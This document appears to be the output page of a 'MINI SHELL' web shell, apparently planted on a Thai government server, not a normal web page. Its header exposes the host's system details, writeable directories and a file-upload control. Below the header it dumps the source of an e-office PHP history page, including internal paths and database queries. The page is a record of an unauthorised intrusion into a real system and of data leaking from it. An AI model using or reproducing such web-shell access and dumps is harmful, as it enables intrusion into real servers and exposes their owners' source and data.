MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/system/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/system/user_history.php
<?
session_start();
include("../../config/config.inc.php");
include("../../common/function.php");
include("../../common/eoffice.inc.php");
$smonth = array( "","Á.¤.","¡.¾.","ÁÕ.¤.","àÁ.Â.","¾.¤.","ÁÔ.Â.", "¡.¤.","Ê.¤.","¡.Â.","µ.¤.","¾.Â.","¸.¤.");
function fulltime_daythai($temp){
if($temp != "0000-00-00 00:00:00"){
	$month = array("Á.¤.", "¡.¾.", "ÁÕ.¤", "Á.Â", "¾.¤.", "ÁÔ.Â.", "¡.¤.", "Ê.¤.", "¡.Â", "µ.¤.", "¾.Â.", "¸.¤.");
	$temp1=explode(" ", $temp);
	$num = explode("-", $temp1[0]);			
	if($num[0] == "0000"){
	  $date = "äÁèÃкØ";
	} else {
	  $tyear = ($num[0] + 543);
	  $date = remove_zero($num[2])."&nbsp;".$month[$num[1] - 1 ]."&nbsp;".$tyear." ".substr($temp1[1],0,-3);	
	}

} else {
	$date = "äÁèÃкØ";
}	
	return $date;
} ############### END function fulltime_daythai($temp){



?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../../common/style.css" type="text/css" rel="stylesheet">
</head>
<body bgcolor="#F2F4F7">
<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 width="100%" ALIGN=CENTER>
<TR VALIGN=TOP><TD width="155%" ALIGN=LEFT>
<table width="100%" border=0 align=center cellspacing=1 cellpadding=2 bgcolor="#dddddd">
<tr bgcolor="#A0A0A0">
<th width="198" bgcolor="#88AACC">Çѹ·Õè/àÇÅÒ</th>
<th width="205" bgcolor="#88AACC"><strong>¡Ô¨¡ÃÃÁ·ÐàºÕ¹˹ѧÊ×Í</strong></th>
<th width="576" bgcolor="#88AACC">ÃÒÂÅÐàÍÕ´</th>
</tr>

<?
// paging
// sql = "SELECT * FROM doc_history  Inner Join history_actstatus ON doc_history.action_id = history_actstatus.id WHERE doc_owner = '$_SESSION[session_staffid]' ORDER BY timerec  DESC ";
if (!isset($LinePerPage)) $LinePerPage = 20; //default line per page
$lpp = $LinePerPage;
$p = intval($p);
if ($p <= 0) $p = 1;
//$result = mysql_query("select count(*) as total from doc_log where staffid='$_SESSION[session_staffid]';");	
$result = mysql_query("select count(*) as total from doc_history  Inner Join history_actstatus ON doc_history.action_id = history_actstatus.id INNER JOIN document ON doc_history.docid = document.id   WHERE doc_history.doc_owner = '$_SESSION[session_staffid]'");	
$rs = @mysql_fetch_assoc($result);
$totalpage = intval((intval($rs[total]) + $lpp - 1) / $lpp);
$n= ($p - 1) * $lpp;



//$sql = "select * from doc_log where staffid='$_SESSION[session_staffid]' order by logtime desc  limit $n,$lpp;";
$sql = "SELECT * FROM doc_history  Inner Join history_actstatus ON doc_history.action_id = history_actstatus.id INNER JOIN document ON doc_history.docid = document.id  WHERE doc_history.doc_owner = '$_SESSION[session_staffid]' ORDER BY doc_history.timerec  DESC  limit $n,$lpp;";
//echo $sql;
$result = mysql_query($sql);
$n=0;
while ($rs =  @mysql_fetch_assoc($result)){
	if ($n++ % 2) $bg="#FFFFFF"; else $bg="#FFFFCC";
?>

<tr bgcolor="<?=$bg?>">
<td align=center><?
//if(floatval(phpversion()) < 5.1){
//$yy = substr($rs[logtime],0,4);// »Õ
//$mm = substr($rs[logtime],4,2);// à´×͹
//$dd= substr($rs[logtime],6,2);// Çѹ
//$hh = substr($rs[logtime],8,2);// ªÑèÇâÁ§
//$min = substr($rs[logtime],10,2);// ¹Ò·Õ
//$sec = substr($rs[logtime],12,2);// ÇÔ¹Ò·Õ
//$txt_logtime = intval($dd)." ".$smonth[intval($mm)]." ".($yy+543)." àÇÅÒ ".$hh.":".$min.":".$sec." ¹.";
//}else{
//	$arr_time = explode(" ",$rs[timerec]);
//	$arr_1 = explode("-",$timerec[0]);
//	$arr_2 = explode(":",$timerec[1]);
//	$txt_logtime = intval($arr_1[2])." ".$smonth[intval($arr_1[1])]." ".($arr_1[0]+543)." àÇÅÒ ".$arr_2[0].":".$arr_2[1].":".$arr_2[2]." ¹.";
////}
//echo "$txt_logtime";

if ( $rs[action_id] == 500    ){
	if ($rs[timerec]  != $historytime ){ echo "  ". fulltime_daythai($rs[timerec]) ;  	}
}else{
		echo " ". fulltime_daythai($rs[timerec]) ; 	
} ######## if ( $rs2[action_id] == 300    ){ 
?></td>
<td align=left><?
if ( $rs[action_id] == 500    ){
	if ($rs[timerec]  != $historytime ){ echo " ". ($rs[doc_history]) ;  	}
}else{
		echo " ". ($rs[doc_history]) ; 	
} ######## if ( $rs2[action_id] == 300    ){ 
 
$historytime = $rs[timerec] ;   
?></td>
<td align=left><? 
if($rs[action_id] == "500"){
	echo "$rs[actstatus] , $rs[title]($rs[refid]) , $rs[owner_label]a";
}else{
	if( $rs[staff_label] != ""){
	echo "$rs[actstatus] , $rs[title]($rs[refid]) , $rs[staff_label]";
	}else{
	echo "$rs[actstatus] , $rs[title]($rs[refid]) , $rs[owner_label]";
	}
}
?></td>
</tr>
<?
}	
?>

<TR BGCOLOR="#DDDDDD">
	<TD height="30" COLSPAN='3' align=left bgcolor="#DDDDDD"> &nbsp; <B>˹éÒ·Õè 
<?
for ($i=1;$i<=$totalpage;$i++){
	if ($i == $p){
		echo "[<font color=\"red\"><B>$i</B></font>]&nbsp;";
	}else{
		echo "<A HREF=?p=$i>$i</A> ";
	}
}

?>	</B></TD>
</TR>
</table>
</TD></TR>
</TABLE>
</BODY>
</HTML>

Anon7 - 2021